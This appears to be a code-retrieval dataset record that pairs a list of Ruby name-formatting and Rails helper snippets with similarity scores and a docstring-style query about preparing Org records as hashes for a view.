"def pretty_name\n name.gsub(/\\.([^.]+)$/, '')\n end",
"def remove_excess_whitespace_from_name\n self.name = name&.split&.join(' ')\n end",
"def undercover_name(name)\n name.downcase.split(' ').map!{|name| name.split('').map! {|letter| next_letter(letter)}.join('').capitalize}.reverse.join(\" \")\nend",
"def format_name(first, last)\nif first.length<1 || last.length<1\n\tnil\nelse\n first = first.split.join\n last = last.split.join\n str = (first[0]+last).downcase.gsub(/[^0-9a-z]/i, '')\nend\nend",
"def strip_it\n new_name = self.name.gsub(/^[^a-zA-Z]+/, '').gsub(/[^a-zA-Z]+$/, '') + \"?\"\n self.update_attribute(:name, new_name)\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip.squeeze(' ').titleize\n end",
"def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"def remove_parenthesis string\n\t\t\tx = string.dup\n\t\t\twhile x.gsub!(/\\([^()]*\\)/,\"\"); end\n\t\t\tx.strip\n\t\tend",
"def clean_name\n @name.tr('/:', '_')\n end",
"def clean_name(name)\n cleaned_name = I18n.transliterate(name)\n cleaned_name = cleaned_name.upcase\n # remove 'da, do, de' do nome (nao servem para nada em termos de citacoes)\n cleaned_name = cleaned_name.sub(/ \\b[\\w]{1,2}\\b /, ' ')\n # to make a trim: .gsub!(/\\s+/, \"\" )\n return cleaned_name\n end",
"def cleanup_surname(name)\n if name.length > 4\n name.gsub!(/^Mc(\\w+)/) { |s| \"Mc#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Osh(\\w+)/) { |s| \"O'sh#{$1}\" }\n name.gsub!(/^Van(\\w+)/) { |s| \"Van#{$1.capitalize}\" }\n name.gsub!(/^Von(\\w+)/) { |s| \"Von#{$1.capitalize}\" } \n# name.gsub!(/^Dev(\\w+)/) { |s| \"DeV#{$1}\" } \n end\n name\n end",
"def short_country_name(name)\n if name.include? ' '\n temp = name.split(' ')\n temp[0][0] + temp[1][0]\n else\n name[0..2].upcase\n end\nend",
"def short_country_name(name)\n if name.include? ' '\n temp = name.split(' ')\n temp[0][0] + temp[1][0]\n else\n name[0..2].upcase\n end\nend",
"def full_name\n self.name ? \"#{self.name.split(' ')[0..-2].join(' ')}, #{self.name.split(' ')[-1]}\" : ''\n end",
"def clean_name(name)\n CGI.escape(name).gsub('.', '')\n end",
"def first_name(full_name)\n full_name.partition(', ').last\n end",
"def abbrev_name(name)\r\n # name.split.map { |s| s[0]}.join('.').upcase\r\n # name.upcase.split.map(&:chr).join\".\"\r\n \r\n newname = name.split(' ')\r\n newname[0][0].capitalize + '.' + newname[1][0].capitalize\r\nend",
"def strip_part_from_activity_name(name)\n name.to_s.sub(/(.*?)\\s*Part\\b.*\\Z/i) { $1 }\n end",
"def swap_name(str)\n str.gsub(/(.+)\\s(.+)/, '\\2, \\1')\nend",
"def pretty_name\n name = @first_name.concat(@last_name).split /(?=[A-Z])/\n name = name[0] + \" \" + name[1]\n return name\n # return first_name + \" \" + last_name\n end",
"def shortname\n name.downcase.gsub(/[^a-z]/, \"\")\n end",
"def fix_team_name(team)\n team.split.map {|w| w.capitalize}.join(' ').\n gsub('.', '').\n match(/[A-z &']+/)[0].\n gsub(/((Af|F)c|Rmi)/) {|w| w.upcase}.\n strip\nend",
"def fix_name(name)\n if name[0,1] == '^'\n return \"#{ARTML.prefix}#{name[1..-1].strip}\"\n else\n return name.strip\n end\n end",
"def abbrev_name(name)\n \"#{name[0]}.#{name.split[1][0]}\".upcase\nend",
"def last_name_first_name(name)\n last = last_name(name)\n first = name.gsub(last, '').strip \n \"#{last}, #{first}\"\n end",
"def last_name\n name.split(' ').pop\n end",
"def clean_name\n clean_name = name.strip\n clean_name.gsub!(/\\s+/,'_')\n clean_name.gsub!(/[^0-9A-Za-z_-]/, '_')\n clean_name\n end",
"def strip_name\n if self.name.present?\n self.name.strip!\n end\n end",
"def format_name(first, last)\n first.empty? || last.empty? ? nil :\n (first.gsub(/[^A-z]/, \"\")[0] + last.gsub(/[^A-z]/, \"\")).downcase\nend",
"def format_name(first, last)\n\treturn nil if first.empty? || last.empty?\n (first.gsub(/[\\W0-9_]/, \"\")[0] + last.gsub(/[\\W0-9_]/, \"\")).downcase\nend",
"def natural_name\n last, rest = name.split(', ')\n [rest, last].join(' ')\n end",
"def full_name\n \"#{firstname} #{lastname}\".strip\n end",
"def clean_name(name)\n return remove_company_type(remove_postcode(name))\n end",
"def remove_apostrophe\n self.name = self.name.gsub(\"'\",\"\")\n end",
"def remove_unofficial(name)\n\tname = params[:param2]\n\tl_name = name.partition(\" \")\n\tl_name[0].clear\n\tname = \"\"\n\tl_name.each do |word|\n\t\tname += word\n\tend\n\treturn name\n\nend",
"def name\n \"#{first_name.strip} #{last_name.strip}\".strip\n end",
"def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end",
"def formate_name(name)\n # name.split.map{|p| p.split(\"-\").map{|m| m.split(\"'\").map{|n| (n.length > 1 ? n.capitalize : n) }.join(\"'\")}.join(\"-\")}.join(\" \")\n name.gsub(/[^\\s\\-']{02,}/, &:capitalize)\n\n end",
"def format_name(first, last)\n if first.empty? || last.empty?\n nil\n else\n formatted_first = first.delete(' ')\n formatted_last = last.delete(' ')\n return (formatted_first[0] + formatted_last).downcase\n end\nend",
"def sanitize_name(name)\n name.gsub(/\\//,\"\").gsub(/\\s/, \"-\").downcase\nend",
"def name\n name_parts.compact.join(' ')\n end",
"def last_name(name)\n name.strip!\n if name.match(/\\s(\\w+)$/)\n $1\n else\n name\n end\n end",
"def first_name\n name.partition(',').last\n end",
"def format_name(name)\n name.split.map(&:capitalize)\n .join(' ')\nend",
"def name\n \"#{first_name} #{last_name}\".strip\n end",
"def name\n \"#{first_name} #{last_name}\".strip\n end",
"def name\n \"#{first_name} #{last_name}\".strip\n end",
"def namify\n self.name.split(\" \").map{|x| x.first.capitalize}[0..1].join(\"\")\n end",
"def format_name(first, last)\n if first == \"\" || last == \"\"\n return nil\n end\n new_first = first.gsub(/\\W+/,\"\")\n new_last = last.gsub(/\\W+/,\"\")\n username = new_first[0] + new_last\n username = username.downcase.gsub(/\\d/,\"\")\n\nend",
"def nice_name\n name.gsub(/\\..+/, '').wikify\n end",
"def removeParentheses(input)\n output = input.gsub(/\\(/, \"\")\n output.gsub!(/\\)/, \"\")\n return output\n end",
"def display_name\n name.gsub(/^ul_([a-zA-Z0-9])*\\s-\\s/, '')\n end",
"def stripped_name\n name.gsub(%r{</?i>}, '')\n end",
"def stripped_name\n name.gsub(%r{</?i>}, '')\n end",
"def _sanitize_name(name)\n name.to_s.tr_s('^a-zA-Z0-9', '_')\n end",
"def safe_name\n return self.name.downcase.gsub(\"'\", \"\").gsub(\" \", \"\")\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n \"#{first_name} #{last_name}\".strip\n end",
"def full_name\n new_name = first_name.capitalize + \" \" + last_name.capitalize\n final_name = new_name.split(' ').each(&:capitalize!).join(' ')\n end",
"def full_name\n \"#{firstname} #{lastname}\".strip\n end",
"def proper_name\n @proper_name ||= @raw_name.lstrip.sub(CURRENT_BRANCH_REGEX, '')\n end",
"def fullname\n name = firstname + ' ' + lastname\n name.split.map(&:capitalize).join(' ')\n end",
"def rearrange(name)\n match = /(\\w+), (\\w+)( \\w+)?/.match(name) # (1)\n\n last_name = match[1]\n first_name = match[2]\n if match[3]\n separator = \"#{match[3][0,2]}. \" # (2)\n else\n separator = ' ' # (3)\n end\n \n \"#{first_name}#{separator}#{last_name}\" # (4)\nend",
"def format_name(first, last)\n\n if (first == \"\" || last == \"\")\n nil\n else\n first_name = (first.gsub /\\s/, '')[0] + last\n first_name.downcase.gsub /\\s/, ''\n end\nend",
"def rm_parens(str)\n str.gsub(/\\(.*\\)/, \"\")\n end",
"def name_cleaner(raw_string)\n return raw_string.gsub(/[^A-Za-z0-9_\\-\\.]/, '_')\n end",
"def format_name(name)\n properly_formatted_name = name.split(\" \").map { |n| n.capitalize }\n properly_formatted_name.join(' ')\n end",
"def full_name\n \"#{first_name.strip} #{last_name.strip}\"\n end",
"def format_gallery_name name_string\n return name_string.gsub(\" \", '') if name_string\n end",
"def wikified_name\n self.name.slice(0,1).capitalize + self.name.slice(1..-1).gsub(/ /, '_')\n end",
"def slugged_name\n name.gsub(' ', '-').delete(\"?/#\")\n end",
"def format_name(name)\n name[2..-2].humanize.downcase.gsub ' | ', ': '\n end",
"def uncapitalize(name)\n raise if name.blank?\n name.downcase.titleize.gsub(/\\sAnd\\s/, ' and ')\n end",
"def sanitize_name(name)\n name.gsub!(' ', '_')\n name.downcase!\n name.gsub!('-', '_')\n name.gsub!('\\'', '_')\n name\n end",
"def full_name\n \"#{first_name} #{middle_name} #{last_name}\".split.join(' ')\n end",
"def flip_first_last_name(name)\n fixed_name = name.split(\", \")\n if fixed_name[1] \n fixed_name[1] + ' ' + fixed_name[0]\n else\n name\n end\n end",
"def format_name(first, last)\n if (first.empty? || last.empty?)\n nil\n else\n (first.gsub(/\\s+/, '')[0]+last.gsub(/\\s+/, '')).downcase\n end\nend",
"def title\n name.gsub(/_/, ' ')\n end",
"def clean_title(title)\n title.\n # Take the part of the title before Bill, Act or -\n split(/Bill|Act|-/, 2)[0].\n # Remove any brackets\n gsub(/\\([a-zA-Z.\\d\\s'\",]*\\)/, '').\n # Strip any trailing whitespace\n rstrip\nend"
] |
[
"0.7359029",
"0.71358466",
"0.6829798",
"0.6827434",
"0.670028",
"0.6634049",
"0.6571017",
"0.65043586",
"0.6491759",
"0.6455967",
"0.6449051",
"0.64332825",
"0.64114606",
"0.6396182",
"0.63892615",
"0.63799095",
"0.63573664",
"0.6332352",
"0.6326359",
"0.632394",
"0.6301046",
"0.6290264",
"0.6274757",
"0.6263392",
"0.6253908",
"0.6253908",
"0.62432504",
"0.6237273",
"0.6228565",
"0.62150013",
"0.6213501",
"0.6213501",
"0.6210944",
"0.6209231",
"0.61986417",
"0.6189734",
"0.6152732",
"0.61426556",
"0.61324036",
"0.61162585",
"0.6112395",
"0.6098341",
"0.60982317",
"0.6096178",
"0.60941994",
"0.6093261",
"0.608415",
"0.60722816",
"0.6066841",
"0.60574794",
"0.60559225",
"0.60539657",
"0.60515237",
"0.60445607",
"0.6042714",
"0.6040411",
"0.6040411",
"0.60343206",
"0.6030218",
"0.60268897",
"0.60267514",
"0.60254693",
"0.6022147",
"0.60203266",
"0.60203266",
"0.60203266",
"0.60175633",
"0.6014187",
"0.60133874",
"0.6002946",
"0.60017264",
"0.6001221",
"0.6001221",
"0.6000625",
"0.5998649",
"0.59971994",
"0.59971994",
"0.59971994",
"0.59971994",
"0.5995435",
"0.5976516",
"0.5966941",
"0.5965991",
"0.59611344",
"0.5960679",
"0.5958671",
"0.59380925",
"0.5937467",
"0.5933757",
"0.5933342",
"0.5931476",
"0.5929768",
"0.59245396",
"0.5913252",
"0.5911036",
"0.59101105",
"0.5904342",
"0.5903611",
"0.5901726",
"0.59014404"
] |
0.74420595
|
0
|
Prepares all of the records for the view. Records that are Org models get converted over to a hash, all other records (e.g. from the ROR API) are expected to already be in the appropriate hash format.
|
def prepare(search_term:, records:)
return [] unless search_term.present? && records.present? && records.is_a?(Array)
array = []
records.map do |rec|
item = rec.is_a?(Org) ? OrgSelection::OrgToHashService.to_hash(org: rec) : rec
array << evaluate(search_term: search_term, record: item)
end
sort(array: deduplicate(records: filter(array: array)))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepare\n model.tap do |p|\n p.identifier = set_identifiers\n p.meta = set_meta\n p.text = set_text\n p.status = COMPLETED_STATUS\n p.authored = set_date\n p.author = set_author\n p.subject = set_subject\n p.questionnaire = set_questionnaire\n p.group = set_group\n end\n end",
"def record_fields\n mappings = {}\n if log_record?\n Rails.logger.debug(\"Aeon Fulfillment Plugin\") { \"Mapping Record: #{self.record}\" }\n end\n\n mappings['identifier'] = self.record.identifier || self.record['identifier']\n mappings['publish'] = self.record['publish']\n mappings['level'] = self.record.level || self.record['level']\n mappings['title'] = strip_mixed_content(self.record['title'])\n mappings['uri'] = self.record.uri || self.record['uri']\n\n resolved_resource = self.record['_resolved_resource'] || self.record.resolved_resource\n if resolved_resource\n resource_obj = resolved_resource[self.record['resource']]\n if resource_obj\n collection_id_components = [\n resource_obj[0]['id_0'],\n resource_obj[0]['id_1'],\n resource_obj[0]['id_2'],\n resource_obj[0]['id_3']\n ]\n\n mappings['collection_id'] = collection_id_components\n .reject {|id_comp| id_comp.blank?}\n .join('-')\n\n mappings['collection_title'] = resource_obj[0]['title']\n end\n end\n\n resolved_repository = self.record.resolved_repository\n if resolved_repository\n mappings['repo_code'] = resolved_repository['repo_code']\n mappings['repo_name'] = resolved_repository['name']\n end\n\n if self.record['creators']\n mappings['creators'] = self.record['creators']\n .select { |cr| cr.present? }\n .map { |cr| cr.strip }\n .join(\"; \")\n end\n\n if self.record.dates\n mappings['date_expression'] = self.record.dates\n .select{ |date| date['date_type'] == 'single' or date['date_type'] == 'inclusive'}\n .map{ |date| date['final_expression'] }\n .join(';')\n end\n\n if (self.record.notes['userestrict'])\n mappings['userestrict'] = self.record.notes['userestrict']\n .map { |note| note['subnotes'] }.flatten\n .select { |subnote| subnote['content'].present? and subnote['publish'] == true }\n .map { |subnote| subnote['content'] }.flatten\n .join(\"; \") \n end\n \n mappings\n end",
"def record_fields\n mappings = {}\n\n mappings['identifier'] = self.record.identifier || self.record['identifier']\n mappings['publish'] = self.record['publish']\n mappings['level'] = self.record.level || self.record['level']\n mappings['title'] = strip_mixed_content(self.record['title'])\n mappings['uri'] = self.record.uri || self.record['uri']\n\n resolved_resource = self.record['_resolved_resource'] || self.record.resolved_resource\n if resolved_resource\n resource_obj = resolved_resource[self.record['resource']]\n if resource_obj\n mappings['collection_id'] = \"#{resource_obj[0]['id_0']} #{resource_obj[0]['id_1']} #{resource_obj[0]['id_2']} #{resource_obj[0]['id_3']}\".rstrip\n mappings['collection_title'] = resource_obj[0]['title']\n end\n end\n\n resolved_repository = self.record.resolved_repository\n if resolved_repository\n mappings['repo_code'] = resolved_repository['repo_code']\n mappings['repo_name'] = resolved_repository['name']\n end\n\n if record['creators']\n mappings['creators'] = self.record['creators']\n .select { |cr| cr.present? }\n .map { |cr| cr.strip }\n .join(\"; \")\n end\n\n if record.notes\n accessrestrict = record.notes['accessrestrict']\n if accessrestrict\n arSubnotes = accessrestrict['subnotes']\n if arSubnotes\n mappings['accessrestrict'] = arSubnotes\n .select { |arSubnote| arSubnote['content'].present? }\n .map { |arSubnote| arSubnote['content'].strip }\n .join(\"; \")\n end\n end\n end\n\n return mappings\n end",
"def prepShowAssignment\n showHash = Hash.new()\n showHash[:assignment] = self\n showHash[:students] = Student.where(\"course_id=?\",self.course_id)\n showHash[:assignmentsstudents] = AssignmentsStudents.where(\"assignment_id=?\",self.id)\n showHash\n end",
"def prepare_data\n initial_data_eval \n initial_sorting if self.data_grid.sorting?\n filter\n global_summary_array\n pagination\n summary_array\n self.data_grid.row_styler\n prepare_data_for_filters\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def initialize(records:)\n @records = records.dup\n @records.compact!\n @records.uniq!\n @records.each { |record| record.lazy_preload_context = self }\n end",
"def pre_serialize\n fetch_and_serialize_profile\n update_status_and_errors\n scaffold\n end",
"def prepare_data(params)\n build_ingest_form\n build_uploader(params[:upload], params[:upload_cache])\n build_asset(params[:id], params[:template_id])\n assign_form_attributes(params)\n find_unmapped_rdf\n end",
"def adapt_record(endnote_hash)\n # This will only work with endnote 8\n rec = endnote_hash[:endnote_record]\n\n @id = rec.id\n @title = rec.title\n @alt_title = rec.alt_title\n @pubyear = rec.pubyear\n @abstract = rec.abstract\n @language = rec.language\n @keywords = rec.keywords\n @publisher = rec.publisher\n @place = rec.place\n @patent_applicant = rec.patent_applicant\n @patent_date = rec.patent_date\n @patent_number = rec.patent_number\n @isbn = rec.isbn\n @issn = rec.issn\n @extent = rec.extent\n @sourcetitle = rec.sourcetitle\n @sourcevolume = rec.sourcevolume\n @sourceissue = rec.sourceissue\n @sourcepages = rec.sourcepages\n @article_number = rec.article_number\n @doi = rec.doi\n @doi_url = rec.doi_url\n add_identifier(@doi, 'doi')\n add_identifier(rec.pubmed_id, 'pubmed')\n add_identifier(rec.scopus_id, 'scopus-id')\n add_identifier(rec.extid.split(':').last, 'isi-id')\n add_publication_link(@doi_url, 1)\n @xml = rec.xml\n end",
"def nullify_keys(records)\n if (user = acting_user)\n records.each { |r| r.user_changes!(user, @reflection.primary_key_name => nil) if r.is_a?(Hobo::Model) }\n end\n\n # Normal ActiveRecord implementatin\n ids = quoted_record_ids(records)\n @reflection.klass.update_all(\n \"#{@reflection.primary_key_name} = NULL\", \n \"#{@reflection.primary_key_name} = #{@owner.quoted_id} AND #{@reflection.klass.primary_key} IN (#{ids})\"\n )\n end",
"def reset_unnecessary_fields\n self.department_id = nil\n self.media = nil\n self.telephone = nil\n self.organization = nil\n self.stream_flow_ids = []\n self.public_role_es = nil\n self.public_role_eu = nil\n self.public_role_en = nil\n self.gc_id = nil\n self.description_es = nil\n self.description_eu = nil\n self.description_en = nil\n self.politician_has_agenda = nil\n end",
"def prepare_json\n to_return = Hash.new()\n to_return[:primary_key] = @primary_key\n to_return[:name] = @name\n to_return[:identifier] = @identifier\n to_return[:cloudkit_identifier] = @user_record_name\n to_return[:cloudkit_last_modified_device] = @cloudkit_last_modified_device\n to_return[:html] = generate_html\n\n to_return\n end",
"def load\n super\n slice_records!\n\n self\n end",
"def set_object_fields\n \n # source id\n ##marc_source_id = marc.get_marc_source_id\n ##self.id = marc_source_id if marc_source_id\n # FIXME how do we generate ids?\n #self.marc.set_id self.id\n \n # parent source\n parent = marc.get_parent\n # If the 773 link is removed, clear the source_id\n # But before save it so we can update the parent\n # source.\n @old_parent = source_id if !parent\n self.source_id = parent ? parent.id : nil\n \n # record type\n self.record_type = 2 if marc.is_holding?\n \n # std_title\n self.std_title, self.std_title_d = marc.get_std_title\n \n # composer\n self.composer, self.composer_d = marc.get_composer\n \n # siglum and ms_no\n # in A/1 we do not have 852 in the bibliographic data\n # instead we store in ms_no the Book RISM ID (old rism id)\n if RISM::BASE == \"a1\" and record_type == 0\n self.book_id = marc.get_book_rism_id\n else\n self.lib_siglum, self.shelf_mark = marc.get_siglum_and_shelf_mark\n end\n \n # ms_title for bibliographic records\n self.title, self.title_d = marc.get_source_title if self.record_type != 2\n \n # physical_condition and urls for holding records\n self.ms_condition, self.urls, self.image_urls = marc.get_ms_condition_and_urls if self.record_type == 2\n \n # miscallaneous\n self.language, self.date_from, self.date_to = marc.get_miscellaneous_values\n\n self.marc_source = self.marc.to_marc\n end",
"def process_ror_record(record)\n return nil unless record.present? && record.is_a?(Hash) && record['id'].present?\n\n ror_org = StashEngine::RorOrg.find_or_create_by(ror_id: record['id'])\n ror_org.name = safe_string(value: record['name'])\n ror_org.home_page = safe_string(value: record.fetch('links', []).first)\n ror_org.country = record.dig('country', 'country_name')\n ror_org.acronyms = record['acronyms']\n ror_org.aliases = record['aliases']\n ror_org.isni_ids = record.dig('external_ids', 'ISNI', 'all')\n ror_org.save\n true\n rescue StandardError => e\n puts('Error processing record', e)\n false\n end",
"def create\n fail_on_type_mismatch(data_params[:type])\n\n record = queried_record_scope.build\n assign_record_attributes(record, permitted_params_for(:create), data_params)\n\n execute_after_initialize_callbacks(record)\n\n execute_before_create_callbacks(record)\n execute_before_save_callbacks(record)\n\n fail RecordInvalidError.new(record, engaged_field_aliases) if record.errors.any?\n\n record.save!\n\n persist_collection_relationships(record)\n\n execute_after_create_callbacks(record)\n execute_after_save_callbacks(record)\n\n render(\n json: record,\n status: :created,\n fields: query_params[:fields],\n include: query_params[:include]\n )\n end",
"def recreate_from(obj)\n keys = self.key_column_names\n args = {}\n if obj.respond_to?(:enterprise_id) and obj.respond_to?(:uid)\n args[keys.delete(:enterprise_id)] = obj.enterprise_id\n if keys.length == 1\n args[keys.first] = obj.uid\n self.get_cached(args)\n else\n puts keys.to_a.to_s\n raise NotImplementedError, 'See octocore/models.rb'\n end\n end\n end",
"def setup\r\n @model = Profile\r\n @record_one = Profile.find(1)\r\n @new_obj = {\r\n :bio => 'I am awesome',\r\n :user_id => 1,\r\n :address_line1 => ' 1600 Pennsylvania Avenue NW',\r\n :address_line2 => 'bunker #4',\r\n :city => 'Washington',\r\n :job_title=>'Manager',\r\n :company=>\"Uncle Sam's Military Surplus\",\r\n :state=> 'DC',\r\n :postal_code =>'20500',\r\n :telephone=>'202-456-1111',\r\n :fax=>'202-456-2461'\r\n }\r\n end",
"def prepare_attributes\n @current_page = params[:page] ? params[:page].to_i : 1\n @rows_per_page = params[:rows] ? params[:rows].to_i : 10\n end",
"def collect_record_data(serializer, abilities)\n return unless serialize_record_data?\n record = serializer.object\n return if record.blank?\n keys = collect_only_keys.present? ? collect_only_keys : collect_keys\n collect_record_data_for_keys(serializer, keys, record, abilities)\n end",
"def prepare()\n @pages = {}\n @files = {}\n @layouts = {}\n\n @commit = @version == :working ? @wiki.repo.head.commit : @wiki.repo.commit(@version)\n items = self.ls(@version)\n\n items.each do |item|\n filename = ::File.basename(item.path)\n dirname = ::File.dirname(item.path)\n if filename =~ /^_Layout.html/\n # layout\n @layouts[item.path] = ::Liquid::Template.parse(item.data)\n elsif @wiki.page_class.valid_page_name?(filename)\n # page\n page = @wiki.page_class.new(@wiki)\n blob = OpenStruct.new(:name => filename, :data => item.data)\n page.populate(blob, dirname)\n page.version = @commit\n\n if @preserve_tree\n key = [::File.dirname(item.path).gsub(/^\\./, \"\").gsub(/\\//, ' '), page.name].join(\" \").strip.downcase\n else\n key = page.name.downcase\n end\n @pages[key] = page\n else\n # file\n @files[item.path] = item.data\n end\n end\n end",
"def prepare_identities_from_data; end",
"def prepare!\n @lookups = {}\n scan_resources!\n build_index!\n build_lookups!\n \n pp @lookups\n end",
"def set_up_new_records\n @author_attrs = {x: 1, y: 2}\n @author = TestWriter.new(@author_attrs)\n @post_attrs = {x: 1, y: 2}\n @post1 = TestBlogPost.new(@post_attrs)\n @post2 = TestBlogPost.new(@post_attrs.dup)\n end",
"def build_metadata\n raise StandardError, 'Record not found' if record.nil?\n raise StandardError, \"Missing required elements, missing element(s) are: #{importerexporter.parser.missing_elements(keys_without_numbers(record.keys)).join(', ')}\" unless importerexporter.parser.required_elements?(keys_without_numbers(record.keys))\n \n self.parsed_metadata = {}\n self.parsed_metadata[work_identifier] = [record[source_identifier]]\n add_work_type\n add_standard_metadata\n add_file\n add_visibility\n add_rights_statement\n add_admin_set_id\n add_collections\n add_local\n self.parsed_metadata\n end",
"def pre_initialize_fields\n end",
"def prepare_json\n\t\tjson_header\n\t\tjson_assemble\n\t\t#order_by_line_id(@file)\n\t\t#json_sections\n\t\t#json_order_line_by_section\n\n\tend",
"def incomplete_comprehensive_details_for_export(patients)\n comprehensive_details = {}\n patients.each do |patient|\n comprehensive_details[patient.id] = {\n first_name: patient[:first_name] || '',\n middle_name: patient[:middle_name] || '',\n last_name: patient[:last_name] || '',\n date_of_birth: patient[:date_of_birth]&.strftime('%F') || '',\n sex: patient[:sex] || '',\n white: patient[:white] || false,\n black_or_african_american: patient[:black_or_african_american] || false,\n american_indian_or_alaska_native: patient[:american_indian_or_alaska_native] || false,\n asian: patient[:asian] || false,\n native_hawaiian_or_other_pacific_islander: patient[:native_hawaiian_or_other_pacific_islander] || false,\n other_race: patient[:other_race] || false,\n ethnicity: patient[:ethnicity] || '',\n primary_language: patient[:primary_language] || '',\n secondary_language: patient[:secondary_language] || '',\n interpretation_required: patient[:interpretation_required] || false,\n nationality: patient[:nationality] || '',\n user_defined_id_statelocal: patient[:user_defined_id_statelocal] || '',\n user_defined_id_cdc: patient[:user_defined_id_cdc] || '',\n user_defined_id_nndss: patient[:user_defined_id_nndss] || '',\n address_line_1: patient[:address_line_1] || '',\n address_city: patient[:address_city] || '',\n address_state: patient[:address_state] || '',\n address_line_2: patient[:address_line_2] || '',\n address_zip: patient[:address_zip] || '',\n address_county: patient[:address_county] || '',\n foreign_address_line_1: patient[:foreign_address_line_1] || '',\n foreign_address_city: patient[:foreign_address_city] || '',\n foreign_address_country: patient[:foreign_address_country] || '',\n foreign_address_line_2: patient[:foreign_address_line_2] || '',\n foreign_address_zip: patient[:foreign_address_zip] || '',\n foreign_address_line_3: patient[:foreign_address_line_3] || '',\n foreign_address_state: patient[:foreign_address_state] || '',\n monitored_address_line_1: patient[:monitored_address_line_1] || '',\n monitored_address_city: patient[:monitored_address_city] || '',\n monitored_address_state: patient[:monitored_address_state] || '',\n monitored_address_line_2: patient[:monitored_address_line_2] || '',\n monitored_address_zip: patient[:monitored_address_zip] || '',\n monitored_address_county: patient[:monitored_address_county] || '',\n foreign_monitored_address_line_1: patient[:foreign_monitored_address_line_1] || '',\n foreign_monitored_address_city: patient[:foreign_monitored_address_city] || '',\n foreign_monitored_address_state: patient[:foreign_monitored_address_state] || '',\n foreign_monitored_address_line_2: patient[:foreign_monitored_address_line_2] || '',\n foreign_monitored_address_zip: patient[:foreign_monitored_address_zip] || '',\n foreign_monitored_address_county: patient[:foreign_monitored_address_county] || '',\n preferred_contact_method: patient[:preferred_contact_method] || '',\n primary_telephone: patient[:primary_telephone] ? format_phone_number(patient[:primary_telephone]) : '',\n primary_telephone_type: patient[:primary_telephone_type] || '',\n secondary_telephone: patient[:secondary_telephone] ? format_phone_number(patient[:secondary_telephone]) : '',\n secondary_telephone_type: patient[:secondary_telephone_type] || '',\n preferred_contact_time: patient[:preferred_contact_time] || '',\n email: patient[:email] || '',\n port_of_origin: patient[:port_of_origin] || '',\n date_of_departure: patient[:date_of_departure]&.strftime('%F') || '',\n source_of_report: patient[:source_of_report] || '',\n flight_or_vessel_number: patient[:flight_or_vessel_number] || '',\n flight_or_vessel_carrier: patient[:flight_or_vessel_carrier] || '',\n port_of_entry_into_usa: patient[:port_of_entry_into_usa] || '',\n date_of_arrival: patient[:date_of_arrival]&.strftime('%F') || '',\n travel_related_notes: patient[:travel_related_notes] || '',\n additional_planned_travel_type: patient[:additional_planned_travel_type] || '',\n additional_planned_travel_destination: patient[:additional_planned_travel_destination] || '',\n additional_planned_travel_destination_state: patient[:additional_planned_travel_destination_state] || '',\n additional_planned_travel_destination_country: patient[:additional_planned_travel_destination_country] || '',\n additional_planned_travel_port_of_departure: patient[:additional_planned_travel_port_of_departure] || '',\n additional_planned_travel_start_date: patient[:additional_planned_travel_start_date]&.strftime('%F') || '',\n additional_planned_travel_end_date: patient[:additional_planned_travel_end_date]&.strftime('%F') || '',\n additional_planned_travel_related_notes: patient[:additional_planned_travel_related_notes] || '',\n last_date_of_exposure: patient[:last_date_of_exposure]&.strftime('%F') || '',\n potential_exposure_location: patient[:potential_exposure_location] || '',\n potential_exposure_country: patient[:potential_exposure_country] || '',\n contact_of_known_case: patient[:contact_of_known_case] || '',\n contact_of_known_case_id: patient[:contact_of_known_case_id] || '',\n travel_to_affected_country_or_area: patient[:travel_to_affected_country_or_area] || false,\n was_in_health_care_facility_with_known_cases: patient[:was_in_health_care_facility_with_known_cases] || false,\n was_in_health_care_facility_with_known_cases_facility_name: patient[:was_in_health_care_facility_with_known_cases_facility_name] || '',\n laboratory_personnel: patient[:laboratory_personnel] || false,\n laboratory_personnel_facility_name: patient[:laboratory_personnel_facility_name] || '',\n healthcare_personnel: patient[:healthcare_personnel] || false,\n healthcare_personnel_facility_name: patient[:healthcare_personnel_facility_name] || '',\n crew_on_passenger_or_cargo_flight: patient[:crew_on_passenger_or_cargo_flight] || false,\n member_of_a_common_exposure_cohort: patient[:member_of_a_common_exposure_cohort] || false,\n member_of_a_common_exposure_cohort_type: patient[:member_of_a_common_exposure_cohort_type] || '',\n exposure_risk_assessment: patient[:exposure_risk_assessment] || '',\n monitoring_plan: patient[:monitoring_plan] || '',\n exposure_notes: patient[:exposure_notes] || '',\n status: '',\n symptom_onset: patient[:symptom_onset]&.strftime('%F') || '',\n case_status: patient[:case_status] || '',\n lab_1_type: '',\n lab_1_specimen_collection: '',\n lab_1_report: '',\n lab_1_result: '',\n lab_2_type: '',\n lab_2_specimen_collection: '',\n lab_2_report: '',\n lab_2_result: '',\n jurisdiction_path: '',\n assigned_user: patient[:assigned_user] || '',\n gender_identity: patient[:gender_identity] || '',\n sexual_orientation: patient[:sexual_orientation] || ''\n }\n end\n comprehensive_details\n end",
"def load\n records.load\n end",
"def index\n @records = params[:user_id].blank? ? Record: Record.where(user_id: params[:user_id])\n @records = params[:commit_date].blank? ? @records: @records.where(commit_date: params[:commit_date])\n @records = @records.order(sort_column + \" \" + sort_direction).page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @records }\n end\n end",
